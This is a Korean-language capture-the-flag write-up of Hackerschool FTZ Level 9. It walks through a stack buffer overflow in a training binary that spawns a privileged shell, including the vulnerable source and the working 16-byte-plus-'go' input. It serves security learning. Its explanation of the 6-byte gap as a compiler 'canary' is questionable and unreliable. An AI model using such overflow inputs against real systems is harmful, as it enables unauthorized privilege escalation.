본문 바로가기

Pwnable/FTZ

[ProjectH4C] [Write-up] 해커스쿨 FTZ Level 9

로그인하자마자 ls -al과 find / -group level9를 실행해보았다. 아래는 find의 결과이다.

$ find / -group level9 2>/dev/null
/proc/10693
/proc/10694
/proc/10694/fd
/proc/10694/fd/0
/proc/10694/fd/1
/proc/10694/fd/2
/proc/10694/fd/255
/proc/10694/environ
/proc/10694/status
/proc/10694/cmdline
/proc/10694/stat
/proc/10694/statm
/proc/10694/maps
/proc/10694/mem
/proc/10694/cwd
/proc/10694/root
/proc/10694/exe
/proc/10694/mounts
/proc/10777
/usr/bin/bof
/home/level9
/home/level9/tmp
/home/level9/public_html
/home/level9/public_html/index.html

 

중간에 /usr/bin/bof가 보인다. bof는 보통 버퍼 오버플로우(Buffer OverFlow)의 약자로 쓰이는데... 일단은 실행해보았다.

[level9@ftz level9]$ bof
It can be overflow : 1234123412341234
[level9@ftz level9]$ 

역시나 오버플로우 문제이다. 문제는, 해당 입력에서 수용할 수 있는 최대치가 얼마인지 모르고, 오버플로우를 이용해 어느 메모리를 어떻게 공격해야 하는지도 모른다는 것이다. 이쯤에서 힌트를 보기로 했다.

 

[level9@ftz level9]$ cat hint


다음은 /usr/bin/bof의 소스이다.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
main(){
 
  char buf2[10];
  char buf[10];
 
  printf("It can be overflow : ");
  fgets(buf,40,stdin);
 
  if ( strncmp(buf2, "go", 2) == 0 )
   {
        printf("Good Skill!\n");
        setreuid( 3010, 3010 );
        system("/bin/bash");
   }
 
}   

이를 이용하여 level10의 권한을 얻어라.

bof의 소스코드를 알려준다. buf2의 값을 go로 바꾸면 id를 3010으로 바꾸고 쉘을 띄우는 코드이다. 3010은 level10의 아이디이다.

 

지역 변수는 스택에 생성되고, 스택은 큰 주소에서 부터 할당된다. (커널 영역을 건들지 않기 위해)

buf2를 먼저 선언했고 그 후에 buf를 선언했기 때문에, 메모리의 주소가 작은 부분부터 buf, buf2가 존재할 것이다.

 

                                   

buf의 메모리 (10byte) buf2의 메모리 (10byte)

각각은 10바이트의 크기를 가지고 입력은 40바이트까지이기 때문에, 단순하게 아무 문자나 10개 넣은 후에 go를 넣어주면 buf1에 go가 저장될 것 같아서 "AAAAAAAAAAgo"를 입력해보았다.

[level9@ftz tmp]$ bof
It can be overflow : AAAAAAAAAAgo
[level9@ftz tmp]$ 

아무 일도 일어나지 않았다. buf와 buf1이 연속으로 존재하는게 아닌가 싶어서, 힌트의 소스코드를 복사하여 조건문 직전에 buf와 buf1의 메모리 주소를 16진수로 출력하는 코드를 작성한 후에 실행해보았다.

 

[level9@ftz tmp]$ ./test
It can be overflow : AAAAAAAAAAgo
&buf = bfffeec0 
&buf2 = bfffeed0

buf의 시작주소와 buf2의 시작주소가 정확히 16만큼 차이가 났다. 그러니까 buf의 메모리 주소는 bfffeec0 ~ bfffeec9 이고, bfffeeca~bfffeecf는 비어있고, bfffeed0 ~ bfffeed9가 buf2의 공간이다. 그림으로 나타내면 다음과 같다.

 

buf의 메모리 (10byte) dummy(6byte) buf2의 메모리 (10byte)

 

gcc 컴파일러는 스택에 할당 된 변수들에 대해 버퍼 오버플로우를 방지하고자 변수 사이에 더미(dummy)를 넣어주는데, 이들을 카나리(canary)라고 한다. 해당 코드에선 6바이트 크기의 카나리가 생성되어 buf의 시작주소로부터 16바이트 뒤에 buf1의 주소가 할당된 것이다. 그러니 입력을 16바이트의 아무런 값 + "go"를 넣어준다면 level10의 쉘이 실행될 것이다.

[level9@ftz tmp]$ bof
It can be overflow : AAAAAAAAAAAAAAAAgo
Good Skill!
[level10@ftz tmp]$ 

예상대로 level10의 쉘이 실행되었다. 이제 my-pass를 통해 비밀번호를 출력하고 level10으로 로그인 하면 된다.